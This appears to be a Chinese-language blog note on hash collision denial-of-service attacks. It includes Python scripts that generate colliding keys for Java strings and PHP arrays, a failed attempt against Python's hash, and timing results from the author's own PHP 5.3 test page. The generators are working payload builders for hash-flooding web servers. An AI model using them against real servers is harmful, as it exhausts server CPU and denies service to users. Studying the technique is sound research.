JAVA
生成java的碰撞数据比较简单
根据网上资料可知:
at,bU,c6的在java中的hash值是相同的
则可以根据这三个不断做 笛卡尔积
简单明了就是做字符串拼接。
举个例子
把A当做at,bU,c6中的数
拼接成 AAAAAAAA(8个A),即可得到3^8个hash值相同的元素
写成python代码为
import json
arr_src = ['at','bU','c6']
arr_rtn = {}
def combs(n,str):
if n == 1:
for j in arr_src:
arr_rtn[str+j]=0
else:
for j in arr_src:
combs(n-1,str+j)
combs(11,"") #11为深度,也是3的11次方,可修改
data=json.dumps(arr_rtn)
print data #data即为得出的json格式字符串,可存入文件
print len(arr_rtn) #len为元素个数
python:
尝试
生成Python内置函数 hash()的一组 hash值相同的元素,使用 a~z A~Z 0~9 这62个字符做src
第一层 62个元素 hash各不相同
第二层 62^2 失败
第三层 62^3 失败
第四层 62^4 失败
最无语的是做到第五次的时候
对62^5个元素进行hash计算,再求其中hash相同的元素,然而62的5次方达到近十亿的个数,内存爆了,电脑死机。
反复三次,放弃了
错误代码,粗糙至极,简陋无比,亮瞎勿怪
from collections import Counter
def main(indeep):
ifGetHashCollision=0
deep=indeep
print deep
dic={}
base="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890"
hashs=[] def create(n,str):
if n==1:
for i in base:
#str += i
dic[str+i]=0
else:
for i in base:
create(n-1,str+i) create(deep,"") for i in dic:
hashs.append(hash(i)) print len(dic)
test=Counter(hashs)
for i in test:
if test[i] != 1:
print i
ifGetHashCollision=1 main(5) #该参数为62的次方
python字符串hash随机化:
python字符串每一次hash计算的结果都不同,在12年hash collision出来的时候,即对Python版本做了修复, 2.6.8, 2.7.3, 3.1.5
进行了python 字符串hash随机化,带着种子去hash。
所以即使一次得到了碰撞的元素,下一次也不能用。
原来做了两三个小时的无用功。
所以Python的暂时跳过
php
php的 hash collision是最神奇的,从晚上十点多看到现在还没有参透。
长话短说,先看一下网上的资料再看后面的问题:
http://blog.it2048.cn/article-php-hash/
——————半小时过去了——————
假装你已经看完了
根据推算,元素个数为 2^16即 65536个的时候,以 65536为基数,*2 、*3、*4、*.....、*65536所得到的hash碰撞效果最强,65536个元素全部碰撞,服务器处理的时间最长。
在服务器端搭建了一个测试页面
代码如下:
<?php $rest = file_get_contents("php://input");
$startTime = microtime(true);
$a=json_decode($rest,true);
#var_dump($a);
$endTime = microtime(true);
echo $endTime - $startTime, ' seconds', "\n";
?>
2^16为基数,size(以下为方便,将2^16 = 65536 写为size)为元素个数的数据以json的格式传入
json_decode的计算时间为3.5秒左右【在这里,值得一提的是,burpsuite的计算时间与页面得出的json_decode处理时间基本相同,感叹burpsuite的精准,我用python没有写出来精准计算服务器处理时间的脚本】
然而!
2^15为基数,即 32768为基数,size为元素个数的数据传入时
服务器处理时间达到了17秒
这就是百思不得其解的地方了,12点的时候试了一下,发现了这神奇的一点。
按理解,因为原本在一个链表中碰撞的元素,变成了在两个链表中碰撞,遍历的长度减少,所以服务器处理时间也应该缩减,但是却变成了4倍。
以下是其他的测试表单
基数 元素个数 处理时间(秒)
2^16 2size 3.66
2^16 size 3.71
2^16 size-1 3.53
2^15 size 17.24
2^15 2size 17.31
2^15 0.5size 3.60
2^14 size 14.07/14.23
2^13 size 9.28
2^12 size 5.94
2^12 0.5size 1.33
PHP 数据产生python版本
#!/usr/bin/python
import time
import json
size=pow(2,16) #基数数值
start=time.time()
end=time.time()
array="{"
count=0
for i in range(0,size*size,size): #根据基数调整end符合元素格式
array += "\""+str(i)+"\":0,"
count += 1
print count #在这里显示元素个数,及时调整
array=array[:(len(array)-1)]
array += "}"
#data=json.dumps(array)
#print data
f=open("phpjsonByPython_16_size-1.txt","w")
f.write(array)
f.close()
根据响应时间对应可知,32768为基数,在元素个数为size(65536)范围内是hash碰撞效果最大的。
但是这不太符合网上给出的php hash算法,或者是我还没明白。
推算了两个小时,还没有想出个为什么。
我的php版本为5.3,下次有时间加上php调试器,再看看php底层hash的代码;或者看看网上给出的,或许一人理解错了导致后面的人都理解错了?或者就是我哪里错了。
PHP 未完待续